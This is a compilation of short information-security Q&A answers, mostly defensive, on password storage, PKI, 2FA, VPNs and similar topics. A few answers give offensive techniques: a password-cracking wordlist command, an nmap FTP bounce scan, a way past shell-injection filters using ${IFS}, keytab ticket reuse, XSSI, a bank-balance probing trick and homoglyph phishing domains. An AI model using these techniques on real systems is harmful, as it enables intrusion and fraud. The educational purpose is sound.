  Are all accounts tied to a specific person?  Also, this doesn't appear to be a virus - someone or something is altering the web page code.  If it were me, on any internet-facing server I'd put application whitelisting as part of the build process before I allowed that to touch the intenet.  There are also products out that that can protect the directories in question from unauthorized changes and if one is attempted revert them.  That would as a rule of thumb be a good decision to make as well.

If the website administrators don't have 2 accounts (one for normal use and one for administrative tasks on the servers), they should do that.  I worked at one job where the server admins used their normal accounts for server admin tasks.  One of them got a worm on his computer, and it quickly found its way onto our servers.  They spent an entire weekend remediating that mess.  Have a user account that they log into their workstation with and an administrator account that they ONLY use to log in to the web server with.  Then block all other accounts from logging into that server.

Is there some kind of executable or anything else we can look for manually?  Sure there is, but what would it be called?  Where would you look for it?  That's a needle in a haystack.  It could reside in pretty much any location on your network.  Also, if an account with access to that server has been compromised, the parties responsible for this could put content on it from anywhere in the world.  Changing administrator passwords might not be a bad idea there.  I'd think that the server itself is compromised and an entity is doing this and not some executable.

This all depends on how strongly you want to react to this.  It sounds like there's not a lot of cybersecurity experience there and you want to do forensics as well.  I'd suggest engaging with a reputable consulting company to do those and then some penetration testers to find out where the holes are.  sure, it'll cost money; these folks don't come cheap.  But they can help resolve this for you and bring a lot of experience and expertise to the table.


Is it possible to read the response of HTTP request without XHR?

Depending on what the response looks like, you might in some rare cases be able to use a XSSI attack (Cross Site Script Include). That means, if the response represents a valid JavaScript statement (that includes the sensitive info), you could simply create a page that imports that script and than read it in some way with a different script. That works because the SoP does not prevent you to create a script tag and import a script from a different domain. An example attack can be found here:

http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html


How much information about the reason for an unsuccessful login should a web application give?

Ok, let's walk through the several possible scenarios here.

1) Display exactly what is wrong with the login attempt

This is obviously a stupid thing to do. By displaying exactly what is wrong with the login attempt, you are helping an attacker narrow down his attack. This is the reason why people recommend displaying a more generic message like Invalid username/password.

See: "Username and/or Password Invalid" - Why do websites show this kind of message instead of informing the user which one was wrong?

2) Display a generic error message

You display a message like Invalid username/password. People correctly suggest that an attacker can simply pull username information from your registration form. A possible counter to this is simply having a CAPTCHA on your registration form. While CAPTCHA's can be broken, this is not trivial if an attacker is simply running an automated script against your website. A CAPTCHA on a registration form is also way less annoying than a CAPTCHA on a login form.

If your username is public information, such as Facebook, this is obviously invalid advice.

3) Display information about blocked accounts

I don't see a valid reason why this should be displayed to a user attempting to login. Send them an email informing them their account has been locked out if needed. Don't bother showing them that information on the login screen.

You can use that to your advantage against bots hammering against your site by blocking IP addresses that repeatedly attempt to login to blocked accounts.

Remember, nothing you do can prevent an attacker from attempting to attack your site. What such measures do is simply make it a lot more difficult for a successful attack to be carried out. If your users have ridiculously weak passwords, their accounts will be compromised by a determined attacker eventually.


Cracking passwords after a pattern with John

Your best bet is to use oclHashcat's mask processor available here.

You can use this to create a wordlist with your exact specifications.

?u is uppercase
?l is lowercase
?d are digits

So you can make a wordlist of the following:

mp64.exe ?u?l?l?l?d?d?d > wordlist.txt

Run either oclHashcat or JTR against that wordlist and you're good to go.


There's surely a lot of relationship between Software Quality and Testing and Malware analyst. The basic principals of looking into how something works, testing out it's boundaries of operation, and delving into the extent of its functions are common to both. That being said, it would also depend on the type of software you are looking for.

I know of several people who left college and went out into the 'malware' (perhaps not that specific.. but general computer protection/analysis) field straight out of college, so that is a possibility too.

If you want a leg up, look into colleges that offer Information Assurance, or Computer Forensics degrees. (Perhaps a master's program).


How do online banking applications work?

I just managed to create a proper login that stores the passwords in a database after md5 hashing them

No, you didn't...

  What technology is used to build properly secured web applications like e banking platforms?

Java

  Could you build something like that with Flask?

Maybe, if you're careful and can find quality libraries or build your own

The correct way to store passwords is to use a slow, cryptographic hash like bcrypt, scrypt, or PBKDF2


SQL injection is 17 years old. Why is it still around?

There is no general fix for SQLi because there is no fix for human stupidity. There are established techniques which are easy to use and which fix the problems (especially parameter binding) but one still has to use these techniques. And many developers are simply not aware of security problems. Most  care that the application works at all and don't care much about security, especially if it makes things (even slightly) more complex and comes with additional costs like testing.

This kind of problem is not restricted to SQLi but you'll find it with buffer overflows, certificate checking, XSS, CSRF... . It is more expensive to do secure programming because of the additional testing and of the additional expertise needed by the (thus more expensive) developer. And as long as the market prefers it cheap and does not care much about security you get the cheap and insecure solutions. And while security by design helps a lot to make it better developers often work around this design because they don't understand it and it is just in their way.


Why can the common name of a key-pair be empty?

Because it is just 'informative' and only have a meaning in case of session based exchanges.

A key-pair in a certificate can be used to encrypt data without a session.

Example:

You encrypt a file with your private key and give your public key to some peoples. The CN has a low value to identify the source, the public key itself is enough to decrypt the file if you're sure the file come from trusted source.

This allow file transfer on clear-text protocols with a end point encryption/decryption. The CN has a low value in this case as the key have to match.


MySQL/CGI: password in C source file unsafe?

Yes, for several reasons.

One, someone with read access to the binary could potentially run the strings command and look for likely possibilities near the phrase 'localhost'.

Two, if you ever decide to use the program elsewhere, you currently have the options of 1) setting up the exact same database on localhost with the exact same username and password (really unwise) or 2) altering the source code and recompiling for the second platform.

Alter the program to read its connection data from a config file in either /etc/programname/program.conf or ~/.programname/ depending on the flavor, and make it insist on having the directory permissions set to 700 and enforce proper ownership.


Are there any security hazards to installing Ubutnu for Windows 10?

Any new piece of software potentially increases attack surface. However I think that Ubuntu on WSL does not open any massive holes as-is. WSL works by mapping Linux syscalls onto Windows equivalencies. So it cannot do anything that any Windows program could not do. It does not listen on sockets and terminates when you close it - it cannot run daemons. The risk comes if you install or run untrusted code, or an upstream is compromised. Unless you do something egregious like configuring any downloaded .sh to run in WSL or something you are not exposed to any extra risk that would not be running Ubuntu natively.

So you do have more ways to shoot yourself in the foot, but that’s all. Exactly the same as if you ran WINE on Linux.


Can my oppressive government trace my Twitter activity and detect me?

While the communication between your browser and Twitter is encrypted with HTTPS and also additionally in case of Shadowsocks, the messages you publish can be seen by others - that's the point of Twitter. Depending on the content and time of these messages it might be possible to narrow down who might have send these messages. And the more messages you post and the more specific these are the better user profiling can be done.

Since the connections from within Iran to the outside can be monitored by the government they could in theory also align traffic behavior with selected new Twitter posts and from this get your IP address which can be associated with a specific ISP and this ISP knows the customer behind this IP. And again, the more you post the better profiling can be done.

Using Shadowsocks might protect you from some monitoring. But on the other hand using Shadowsocks or VPN can be detected too and can be considered suspicious behavior by its own. And while these technologies hide the endpoint of the connection (i.e. Twitter) they don't hide the sender and they don't hide traffic pattern. It is likely not impossible to use these information for profiling too.

Note that I'm not implying that everything which is possible will be actually done in practice. Even government agencies have only a limited amount of time and money so they will not be able to do everything which is possible in theory. And note that all of this is only about how digital traces you leave on the network can be used to detect too. But it might also be that you talk about your activity to friends and that these friends are not as trustworthy as you assumed. And there are also traces on your computer - see Serge's answer for more on this.


A Kerberos keytab file is roughly equivalent to a saved version of the relevant password.  It contains the shared secret key of the service.

Therefore, someone with access to a keytab file can kinit from it and obtain Kerberos tickets of the related user (or service), just as if they had that user's password.

I'm not enough of a Windows expert to know how to demonstrate this on Windows.  On Unix, you'd use something like kinit -k -t keytab_file principal_name.


More information about CVE-2012-0883 vulnerability

Access vector of this vulnerability is Local, that means this vulnerability itself can not be exploited remotely. In other words, to exploit this vulnerability a hacker has to gain access to the system by exploiting a different vulnerability.

Exploitation allows local users to gain privileges by injecting a BackDoor/Trojan horse as a DSO (Dynamic Shared Object) in the current working directory during execution of apachectl process.

Hope that helps.


Does any SQL/noSQL server accept * (asterisk) as a wildcard character?

If * appears to be a wildcard, it could be LDAP, probably a query to Windows ActiveDirectory.

The good thing in AD is that the LDAP structure is known, so you can get an idea how to bypass authentication. This for example is a reference for the attributes of a user in AD. It could of course be a custom LDAP structure too.

OWASP has a few ideas for LDAP injection.


What part of the downloaded certificate indicates that it is a CA's certificate?

A CA certificate can be used to issue other certificates by signing these. This signature is only accepted if the issuing certificate contains the extension CA:true:
        X509v3 Basic Constraints: critical
            CA:TRUE

If this extensions is not there or not TRUE it is either a very old type of certificate which does not support any extensions at all (X.509v1 not X.509v3) or it is a leaf certificates, i.e. the end of the trust chain which can not be used to issue new certificates.
Note that there are root CA and intermediate CA certificates. A root CA is usually self-signed, i.e. subject and issuer are the same. These root CA are placed as the pre-trusted ultimate trust anchor in the local trust store and used when building the trust chain to the leaf certificate. For more see SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate?.


Why would a certificate authority have multiple root certificates?

Numerous public CAs have multiple root certificates in trust store for different reasons and largely depends on their business operations. Often roots from same vendor differ by:

List of usages
Public key or signature algorithm support
Assurance level
Redundancy

For example, Amazon Root CA 2 and Amazon Root CA 4 allows Code Signing certificates in their chains, while Amazon Root CA 1 and Amazon Root CA 3 do not allow such. This is "EKU" separation.
Amazon Root CA 1 and Amazon Root CA 3 share same list of usages, but they use different public key and signature algorithms: Amazon Root CA 1 and Amazon Root CA 2 use RSA public key, Amazon Root CA 3 and Amazon Root CA 4 use ECC public key.
This setup provides good level of flexibility, compatibility and security.


If you mean how to automatically classify malware, this paper on Learning and Classification of Malware Behavior (Meta data) can be of help.


As a company, how can we prevent penetration testers from compromising our system?

You're looking for a technical solution to a legal problem. This won't work.

What you worry about is primarily a legal problem. Penetration testers operate under a Non-Disclosure Agreement, which is the legal equivalent of "keep your mouth shut about anything you see here". Non-Disclosure Agreements, or NDAs for short, are what prevents a penetration tester from talking about the cool vulnerabilities they found when they tested ACME Corp. last week.

But why would a penetration tester honour a NDA? Because not doing so would basically destroy their career. If the company learns that a penetration tester disclosed internal information, they will sue the pen-tester for damages, which can be upwards of millions.

Furthermore, it'll completely destroy the reputation of the pen-tester, ensuring that nobody would ever hire them ever again. To a penetration tester, this means that the knowledge they have spent years or decades to accumulate is essentially worthless. Even if the idea seems sweet to a morally corrupt pen-tester, the punishment is magnitudes worse.

Furthermore, most pen-testers just have no interest in compromising a client. Why would they? It's in their best interest to ensure that the client is satisfied, so that they hire them again and again.

As for why you would not put in technical restrictions, there are several reasons. First, as a pentester, you feel like you are treated like a criminal. A lot of pentesters are proud of the work they do, and treating them like criminals just leaves a sour taste in their mouth. A pentester understands that a company has certain policies, but if a company goes above and beyond and escorting them with an armed guard to the toilet, just to make sure they don't look for post-it notes with passwords on them on their way back, they will feel mistrusted. This can and most likely will lower morale, and may cause a pentester to not          give their absolute best.

Furthermore, absurd technical constraints can also just make things difficult for a pen-tester. For example, if their company-provided domain account gets blocked as soon as they start Wireshark or nmap, it takes time for that account to get reactivated. It prevents a pentester from launching all their tools to find vulnerabilities as effectively as possible, and wastes a lot of their time.

This is bad for both the pentester and the customer, and will likely result in a worse overall experience for both of them.


David,

A warm welcome to you to the exciting world of Information Security.
I am really happy that you have got the right questions. Let me share you my thoughts

"Hands-on aspects" & "Certification"
Theoretical concepts you learn in Academics and the hands on experience by practice will complement each other. They are like two sides of a coin. Understand the concepts in classroom and start practicing step by step.
Setup a mini practice setup in your own machine using Virtual machines. There are lot of Security Distros available like Kali Linux. Also some vulnerable Distros for your practice like Metasploitable. Identify your Distros, install in your machine and start practicing.
Once you are comfortable and gained some experience identify your certification and prepare step by step.
There are a lot of sites which will provide you training videos free of cost. You can do a research in Youtube, Securitytube.net and related sites
Areas in Security
Cyber security is a field with lots of diverse areas. Some of the areas include but not limited to
a. Penetration testing
b. Secure Development
c. Network Monitoring
d. Digital Forensics
e. Incident Handling and Response
f. Testing and Certification
Identify your area of interest and start working towards your goal
Knowledge on standards:
A high level knowledge in various security standards will definitely an added value to your Resume. You can research portals like NIST, US-CERT to get more information.

Finally one fact remains unchanged "Practice makes a man perfect". This holds good for Information Security. Practice well the tools and techniques so that your skills will be enhanced.
All the very best for a successful career in Information Security.


But how do you dis-entangle "Process" from "People" because people
  implement the process?

People come and go - but if there is a good Process, and reasonable documentation of that process, then the system will continue to work smoothly.

Think of Process as the road, and people as the cars.  The road helps ensure that cars can go from source to destination, and (generally) avoid collisions, and have signs all along the way to direct them.  As long as the road is there, the cars will keep moving; take away the road, and you've got a lot of cars going nowhere.


It is possible to use FTP bounce using nmap to port scan the network.

E.g. :

nmap -v -b -P0 <username>:<password>@<ftp_server_address> <address(es)_to_scan>

we use the -P0 so we don't try and ping the server prior to the scan.

To see if ftp bounce is possible, check this script.


It would depend on a number of factors, such as what protocol was used.
Let's assume for the sake of the answer that the protocol in question is unencrypted HTTP.
Buffer Overflow.
This would be the trickiest of the 3 to identify, as it could just look like a large request.  It's possible that you could identify it from some common patterns that people use in Buffer Overflows (e.g. a series of 'A' characters) but that's not a requirement of the attack so in many cases it could be hard to detect, depending on how similar it looks to a standard request to the application
DoS.
This should be relatively easy to spot from a Network dump.  You would likely see a large number of requests to the service either SYN packets (for a standard SYN flood attack) or perhaps a specific application request (like a search) for an application DoS, it would likely be visible as the volume of traffic to the service would go up quickly.
Brute Force.
In most cases this would be quite easy to pick out from a network dump as you'd see a large number of unsuccessful logins to the application either coming from one IP address or a range (depending on whether the attack was distributed or not).  This would likely stand-out from ordinary traffic patterns, so be relatively easy to spot.


OWASP itself does have a large number of projects, some at greater maturity than others.
As an organisation OWASP does have key initiatives which have been accepted globally, so you wouldn't be alone in choosing to learn more.

My main market includes global banks and other financial services organisations, as well as some other industries such as oil and gas, and aside from standards such as PCI-DSS, ISO 27001 etc, the single de-facto standard across their web security teams is the OWASP Top Ten.

ESAPI is also extensively used across the IT Security space, along with a few others.


If you want to exploit XSS, you need to be able to inject HTML into the page. If the < and > characters are escaped, it is not possible to inject a tag. If the " and ' characters are esacped, it is not possible to inject an attribute. So it seems the page you are testing is safe from XSS.


Safely disable firewire/thunderbolt, patching up DMA exposure

Disable both interfaces in BIOS and then password protect the BIOS configuration. Additionally, remove the drivers/modules from kernel for both. Also mind, that DMA attack is possible through ExpressCard interface that many notebooks have. One of the more drastic measures is to fill the ports with silicon gel (or similar) or unsolder them (greater chance to damage something if you are not experienced).

https://en.wikipedia.org/wiki/DMA_attack


The point of two-factors authentication is to pick two of the following:

something you are (biometrics, ...)
something you know (password, pin, ...)
something you have (token, phone, ...)

If you want to protect something that is locally store on a phone, you obviously don't ask for the user to have the access to the phone. You can still use 2-factors authentication by either choosing a "something you have" that is not the phone (example a token), or switch the criteria to "something you are" (example fingerprint). For some reasons, the biometrics are not necessary the best way to go, because it generates some problems.

Eventually, some have tried to use new criteria like "someone you know", for example by issuing a token from an already authenticated session, to connect a new device. Mozilla Firefox did that for a time to synchronise the preferences between browsers.


Loss of hardware asset(such as a laptop) that belongs to an organization

You've already taken some good steps with encrypting the device, but there are a few other general things you can do:

Require strong passwords, and dial down the amount of time cached credentials last if you can.
Use multi-factor authentication; if your user has a smart card or secure key of some sort, they need to lose 2 things to let someone else in.
Minimise the data stored on the laptop - keep as much as possible on your network and revoke the users credentials as soon as the laptop goes missing (ideally by revoking a certificate on your CA, but maybe by just changing their password).
Keep very important files separately encrypted, using a different password to their login, in a truecrypt volume or the like - that way an attack on the notoriously weak Windows password store doesn't reveal your key.
Set up a remote wipe / locate service (such as Prey) so you can nuke/find it if it goes online.
Set up rules to wipe your keys in case of too many bad passwords - this will give you a fighting chance against an online brute-force attack, and full disk encryption is likely to make offline attacks difficult.

Your organisational policy and process should reflect the fact that confidential data should have a shelf-life after which it stops being important. You should make sure that cases where that shelf-life is long are flagged and that data not carried around. For anything else, you want to aim to keep the machine secure for at least as long as the data is valuable, and that should inform your encryption schemes and other access control measures.


Does an alternative approach to PKI technology exist?

The identifying characteristic of PKI (public key infrastructure) is that it requires certificate authorities, which can be a problem if they abuse the trust given to them.

There are some alternatives to the problem of verifying the owner of a public key without CAs, most of them are based on some sort of collective effort to establish trust, but currently most are not used in practice:

Trust on first use: just trust the owner when they first give you their key. An example for this is SSH.
Web of trust: decentralize the verification. An example is PGP.
Simple public-key infrastructure
Blockchain Based (pdf): decentralized PKI, based on collective trust
DNS-based Authentication of Named Entities (DANE)
if practical, you can always use a different channel (such as classical mail, or personal contact)


How does Tor guarantee anonymity of Tor network?

It doesn't guarantee anonymity if enough of the network is controlled by a single adversary. There's no general way you can do so; if your whole connection goes entirely through adversary-run computers, your adversary is going to be able to track it, no matter what system you're using.

What Tor does is make it really, really, really hard for an adversary to control enough of the network to make this happen. It passes each connection through multiple nodes, so you have to control enough nodes that not just one but at least three nodes selected from the list are yours (in specific cases, it may use more than three). The reason Tor works is that with a single Tor network, you have lots and lots of people running Tor servers; an adversary has to compete with tons of legitimate nodes. It's the same basic idea as Bitcoin - make it so an attacker inherently has to compete with legitimate users, and then the bigger the system gets the harder it is to attack.


CentOS - Local privilege escalation - CVE-2012-0056

The answer is no, this doesn't mean you are immune to this attack.

If an attacker is unable to compile the exploit on your system, he can as well compile it somewhere else and then upload and run it on your server, providing he has an access to your server of course.

Generally speaking, you should not rely on denying access to gcc or any other utility to prevent an attacker from exploiting a vulnerability on your system. Vendors usually provide patches, and you should apply them as fast as you can.


Can someone steal money from my bank account if they know my IBAN and personal details?

This question is likely to be country-specific.  In the US, an account number is generally not enough to steal money from someone's account.  This is fortunate, because every time you write a check or make a bank payment to someone, they receive your account number.

However, learning someone's the bank account number is enough to learn their account balance.  There is an attack that is not widely known:

Most banks have a phone number that merchants can call and, via an automated voice response system, learn whether a particular account has enough money that a check for a particular amount will clear.  Basically, you just call up, hit a few digits to go through the phone tree to the merchant check verification option, then type in the account number and the amount, and the phone system will respond with whether the account balance is at least as much as the amount you've provided.

This allows an attacker who knows your account number to learn your bank account balance, by using binary search.  This is a confidentiality breach that is not widely known.

If this bothers you, you may be able to protect your own account against this by calling up your bank and asking them to put a fraud alert on your account.  At least for my own bank, when the bank does this, it disables the merchant check verification service for your bank account.


Generating multiple gpg private keys (for provenance)

It's version dependent.
First, a clarification. The output of almost any GPG command using --armor/-a is text form, that is the data is base64-encoded with header/trailer lines and a checksum added. In the past this was done to allow transmission over email which last century couldn't handle binary data; today it is rarely if ever needed for that purpose, but is still convenient for other things that can't handle binary, like cut&paste -- and HTML. (People sometimes try to post binary data on Stack and it never comes out usable, but posting 'armored' data, or similarly 'PEM' data used by OpenSSL and some other things, works right.)
It is not however plaintext, or not all. In cryptography, plaintext or cleartext specifically means not encrypted, and part of a PGP 'secret' key or subkey block is encrypted. The rest of it, containing the publickey value, userid, and affirming (aka 'certifying') signatures, is not encrypted, and is plaintext -- whether in binary or armored/text form.
In particular, the privatekey part of the OpenPGP (RFC4880) form of 'secret' key is encrypted using password-based encryption which, for reasons discussed in many other Qs you can search for, uses iterated hashing with random 'salt' which means if the same data is encrypted multiple times it produces different ciphertexts (with overwhelming probability).
Versions of GPG up to 2.0 use the OpenPGP form internally, in .gnupg/secring.gpg, so each time you export the same key it produces the same external form. GPG 2.2 changed to a new (gcrypt-based) file format in .gnupg/private-keys-v1.d/* so now when you export it must re-encrypt the data into the OpenPGP format, and because of salt as above the encrypted portion (ciphertext) is different each time. However the (plaintext) data it is encrypted from, and when used decrypts to, is the same.
Added: while checking something else, I discovered this is (now) in the manual:

--export-secret-keys ... GnuPG may ask you to enter the passphrase for the key. This is required, because the internal protection method of the secret key is different from the one specified by the OpenPGP protocol.

Also found a neardupe gpg: Every private key export (of the same key-pair) is different


Why do they put cyrillic letters in phishing email?

This is probably for avoiding automatic spam detection, which is often based on the existence of keywords like locked. And locked won't match lоскеd so the spam filter lets the mail go through, and inattentive users might get tricked.

They also use the cyrillic letters in URLs because they often are non-already taken domains (free to be bought by the spammer) and they look-like the legitimate URL to users, so they often end up leaving their credentials of lucky.com to the phising website luскy.com


Why do popular sites like Google, Dropbox, etc. have a "trust this computer" checkbox when it weakens security?

There are different types of two factor authentication. Some types will protect against the threat you describe, others will not.

Here are some common types of 2FA that will keep you protected against the key logger:

Texting a one time use code to a mobile phone.
Emailing a one time use code with the assumption that the user will not check the email on the compromised computer. (Receives the email on a mobile phone.)
Some sort of token using a time-based mobile app.

Typically the above types of 2FA do not have an option for "remember this computer" which would disable the 2FA portion of the login. If they had a "remember this computer" option, that would drastically reduce security, as you suggested.

There are some weaker types of 2FA that may contain a "remember this computer" option. Typically they would be an additional security question such as what is your favorite food, or mother's maiden name, etc. If there is only one security question, then your answer is going to be recorded by the key logger as well, so the "remember this computer" option is irrelevant. The only situation where the key logger with the ability to silently check the "remember this computer" box would be useful (to the attacker), is when you have multiple security questions set up which are presented on a round robin basis, and only 1 of them is captured by the key logger.

As a side note, if you are worried about key loggers, I suggest when typing in a password on a public computer, that you type in part of it with the keyboard and the rest of it with the mouse and the virtual on-screen keyboard. This will thwart someone watching the screen or a key-logger. Someone would need to have both going at the same time to capture your full password.


Run bash command when spaces and '`/\?&| are filtered?

If spaces are filtered but not tabs, just use a tab. If both are filtered but $ isn't, you can use ${IFS}.

If you can do command substitutions and spaces, it may help to use various printf format specifiers, tr with ranges and eval to reach forbidden characters.


How do you analyze an unknown network protocol?

There's no way to easily automate this in any useful way, because protocols are designed by humans. As such, they don't really follow any set pattern or rules. You're going to have to put the brain-work in yourself to dissect them.

However, there are some tricks:

Use Wireshark to separate out individual conversations and identify the high-level communication patterns.
Use a "smart" hex editor to dissect the packets. Hex Workshop is a good choice (though it's not free) since it allows you to define C-style structs on data.
Use a diff tool to identify changes between packets.
Use IDA (or another static analysis tool) to identify where network APIs (e.g. Winsock) are used to send / receive data, and work out what they're doing.
Use ImmunityDebugger, OllyDbg, WinDbg or another debugger to trace execution in a live environment. This is especially useful when sending test packets to a client or server app, because you can see where validation tests pass / fail and why. Using distinctive values in these packets allows you to see what types of data flow to different parts of the code, allowing you to identify their function.

In the end, you still have to be a decent reverse engineer to work with this. If you've never attempted to do something like this, I suggest you try it with a simple openly documented protocol and work backwards - try to figure out how it works, then compare your observations with the documentation.


Do docker images have the same root password?

Docker containers don't usually let you log in as root with any password. Usually, the only way to get in is to docker exec from the host. There is no hash to find a preimage of.


How to configure WebScarab to intercept only POST requests?

The solution is to unckeck Intercept responses.


DPAPI offline attack by cracking windows password?

According to this book, the user password is expanded into an encryption key (for DPAPI) using the PBKDF1 key derivation function, configured to use SHA-1 with 4000 iterations by default. PBKDF1 is described in RFC 2898 (section 5.1). An attacker with a few big GPU could compute, perhaps, four billions SHA-1 per second, hence try about one million potential passwords per second. If your password has 8 random characters from an alphabet of size 64 (uppercase and lowercase letters, digits, and two symbols), then it has entropy 48 bits (because 648 = 248), and the attacker will need to try, on average, about 247 passwords before finding the right one. At one million passwords per second, this will take him about four years.

Beware that Windows has a habit of ignoring case in many places -- you should check whether uppercase and lowercase are indeed distinct as far as password verification is concerned.

(The book says "by default" which may imply that the "4000" parameter is configurable -- but I do not know how.)


DTLS vs direct use of AES. What are the threats unique for direct use of AES instead of DTLS?

[D]TLS provides quite a bit of protection beyond just confidentiality (encryption). It verifies the server identity (authentication), protects against message corruption or tampering (integrity), prevents replay attacks, and can provide forward secrecy (no ability for an attacker to decrypt a recorded message even if all persistent keys later become known to the attacker). Modern versions also include protections against weaknesses around not-widely-understood areas of cryptography such as padding.
There are several forms of [D]TLS-PSK, but all of them potentially reduce the security somewhat. If you're not using asymmetric keys at all then any node in the network can impersonate any other node, so you lose strong authentication. The simplest form of PSK also does not provide forward secrecy, though it is possible to use ephemeral DH key exchange (enabling FS) with symmetric keys as well.
However, [D]TLS-PSK is still almost certainly more secure than any hand-rolled system. (The saying around cryptography "don't roll your own" applies to cryptosystems - at least, whenever possible - not just to primitives.) Trying to build your own cryptosystem on top of AES (or any other primitive) means you must consider stuff like padding oracles, IV/nonce generation, length, and rotation, integrity protection, replay prevention, and so on. Using an well-reviewed protocol with a well-reviewed implementation avoids all these concerns.


Security implications for two applications communicating with TCP/IP on localhost

As you say, when the communication happens on localhost, no packet whatsoever goes to the external network, so if capture happens, then it must happen on the machine itself.

There are two noteworthy points in that respect:

Capturing on localhost does not work on all OS. Notably, it does not work well on Windows (there are partial solutions), while it works on Linux.
Capturing requires some extensive access rights. People who can capture localhost traffic already have root or Administrator access on the machine, so they can also directly inspect the RAM of the involved process, and generally do what they want with the machine.

Thus security issues related to a localhost connection do not come from traffic capture. More usually, problems come from unprivileged applications on the same machine (running as another local user) which connect to the server. A security-aware local server will usually use getpeereid() (on Unix-like systems) to know who is connecting to it.


Privacy within the new U.K. laws for ISP's

If I use a VPN, like OpenVPN, and have my exit point as Switzerland, will this stop my ISP from logging my activities like banking?

The answer to your question is a qualified yes.

Here are a few gotchas:

You must make sure that the VPN is actually a VPN and not just a HTTP proxy. E.g you must make sure that a) your connection to the VPN provider is encrypted and b) all the requests your computer makes are tunneled to your VPN provider. If you just use an HTTP proxy, for example, all your DNS requests will most likely still be visible to your ISP, so while the ISP wouldn't know what exactly you send and receive, they'd know with whom you communicate.
You must trust the VPN provider. Your VPN provider is pretty much in a position to serve as a man in the middle for all the unencrypted connections you make to the internet (e.g. HTTP websurfing, and possibly checking and sending your E-Mail if you use IMAP and SMTP without TLS). Even with encrypted connections, your VPN provider can compile a complete list of all the internet servers you communicate with, when you do so, and how much data you exchange. In fact, the VPN provider can do everything the ISP could if you didn't have the VPN installed. So you're just moving your trust from your ISP to a third party.
Protecting your identity from being used or stolen has very little to do with using a VPN. VPNs only make the content of your internet communications illegible to anyone sitting between you and the VPN provider. They don't do anything to secure either your computer or the services you communicate with. Data breaches usually don't happen at your ISP but at the services you use, and VPNs don't add any additional privacy for you from the viewpoint of things like mail services that know you anyway (because you have an account with them). Once you sign in, it doesn't matter whether they know your real IP address or not - they know it's you. And thieves/hackers who breach a service usually aren't interested in stealing IP addresses of clients (the only thing a VPN can hide from your communication endpoints)

If you see point 2 as a problem, I'd suggest looking into other privacy tools such as Tor.


Password reset mail - reset password again

If you can do that, it means that the developers didn't use a token to only make valid that link for a certain time.

The right solution is to use tokens that will expire either after the password has been reset or after 10-15 mins.


How can one protect TPM firmware from tampering?

That's a pretty involved question.

First of all: If it actually is ROM, it's tamper-proof. ROM is, electrically, read-only memory. It cannot be changed.

Now, it's perfectly possible that the TPM chip runs firmware that is, in fact, in writable memory.

There's lots of way that can be protected: For example, by only making the firmware memory accessible via command coming from the firmware itself – in that case, the firmware has the job to check whether a firmware update is to be accepted, eg. by checking the electronic signature of who's trying to update the firmware.

Loadable Firmware could also, by the ROM-resident bootloader, be checked e.g. for digital signatures matching the manufacturer key in a piece of ROM.

Other methods involve getting special signal lines from the CPU that are only high when the CPU is in SMM (system management mode, something that usually only the UEFI can enter).

  What kind of ROM do TPMs normally use?  One-time programmed,
  or mask programmed so that it is impossible to change the contents after fabrication?

I can't even tell you whether it's actually ROM, as you can see above. It's an implementation detail, and I'm sure you can learn about the different approaches the manufacturers chose from their datasheet.


Not doing backups is crazy and scary given that your data is business/mission critical and not your movie collection. So whatever you do, backup your data. Consider the following scenario: you're performing the encryption and during the encryption process you have a power failure on the power grid. In that case you would will lose a lot, if not all your data.

So invest the time to backup - even if you have to backup over a 56k line, it's worth the time.

Regarding which tool to use, see the other answers.


Safest method for self-signed certificates on client?

The question you need to clarify is what you're trying to protect against. Your solution is fine if all you need is the little green lock icon in the browser, but it gets significantly more complicated as you start requiring more.

For instance, are you trying to protect the application from attack (what attacks?), or are you trying to protect the user from an attacker reusing the localhost certificate for other reasons?

In any case, an attacker on the machine can get access to the raw private key of the localhost certificate, or access to use the private key, regardless of the state of the CA.

This can be made more difficult by running the service as a separate service account, and locking the key to that user, but any administrator on the machine can bypass this. You can then mitigate this further by making sure the human users aren't running as admin (this naturally turns out to be the hard part).


Doesn't the choice of encryption algorithm add entropy by itself?

If you’re designing a cryptosystem, the answer is No. Kerckhoffs's principle states “A cryptosystem should be secure even if everything about the system, except the key, is public knowledge.” Restated as Shannon's maxim, that means “one ought to design systems under the assumption that the enemy will immediately gain full familiarity with them.”

Making the assumption that the attacker won’t learn your algorithm is security through obscurity, an approach to security that is considered inadequate.

Relying on the attacker to not know the algorithm won’t add any work on his or her end, because according to Kerckhoff, he or she either knows it, or can be reasonably expected to find out. If it adds no uncertainty it adds no entropy. And their capabilities are not something you can quantify.

In the case of a lost cryptosystem, like you describe, there is usually enough historic or statistical information to determine the nature of the algorithm (if not the key itself.) But you can’t design a system under the assumption that it will be lost as soon as it’s used. That’s OpSec, not cryptography.

EDIT Comments have mentioned using algorithm selection as a part of the key. The problem with this approach is that the algorithm selection must necessarily be determined prior to the decryption of the data. This is exactly how protocols such as TLS work today.

If you’re truly looking to mix algorithms together and use a factor of the key to determine things like S-box selection, etc., you’re effectively creating a singular new algorithm (adopting all the well-known risks that rolling your own algorithm entails.) And if you’ve created a new algorithm, then all of the bits of the key are part of that entropy computation. But if you can point out specific bits that determine algorithm instead of key material, you still have to treat them as protocol bits and exclude them.

Regarding secrecy of the algorithms, your protocol may be secret today but if one of your agents is discovered and his system is copied, even if no keys are compromised the old messages are no longer using secret algorithms. Any “entropy” you may have ascribed to them is lost, and you may not even know it.


Risk Assessment - Probability of theft of a physical location

Risk Assessment scales are typically qualitative in nature; they are "best guesses". From this perspective, you can never rate the probability of an event as 0, because that becomes a quantitative measure of certainty. So, even the most unlikely event is rated above 0. In a 3-point scale, that is 1.

So, to answer your second question, no, you will not see a 0 on a risk assessment.

But, seriously, theft of a building? Normally, things so unlikely to happen, or things if they did happen would pose a much greater risk in other areas, are deemed out-of-scope.

Technically, there is a minute chance that Martians could fly down and steal your office, so if the theft of your office is in scope, it would be rated a 1, but it should not be in scope. I'd challenge the report preparer why such an event was deemed in-scope....


Is generating random numbers using a smartphone camera a good idea?

Using a camera as random source is a good idea (not a new one, but still a good one). However, you should do it correctly: take the photo, then hash it with a cryptographic hash function, e.g. SHA-256. Then use the output as a seed for a cryptograhically secure PRNG to generate as many random bytes as you need.

Using the file size will yield only very few bits of entropy from your picture: if a typical picture compresses to a size around, say, 2 MB, plus or minus 128 kB on average, then you will get at most 18 bits of entropy from the size. With a hash function, you harvest all the entropy that there is in the photo itself, up to the internal limit of the hash function (about 255 bits for a 256-bit output), which is way beyond that which is necessary for all realistic purposes.

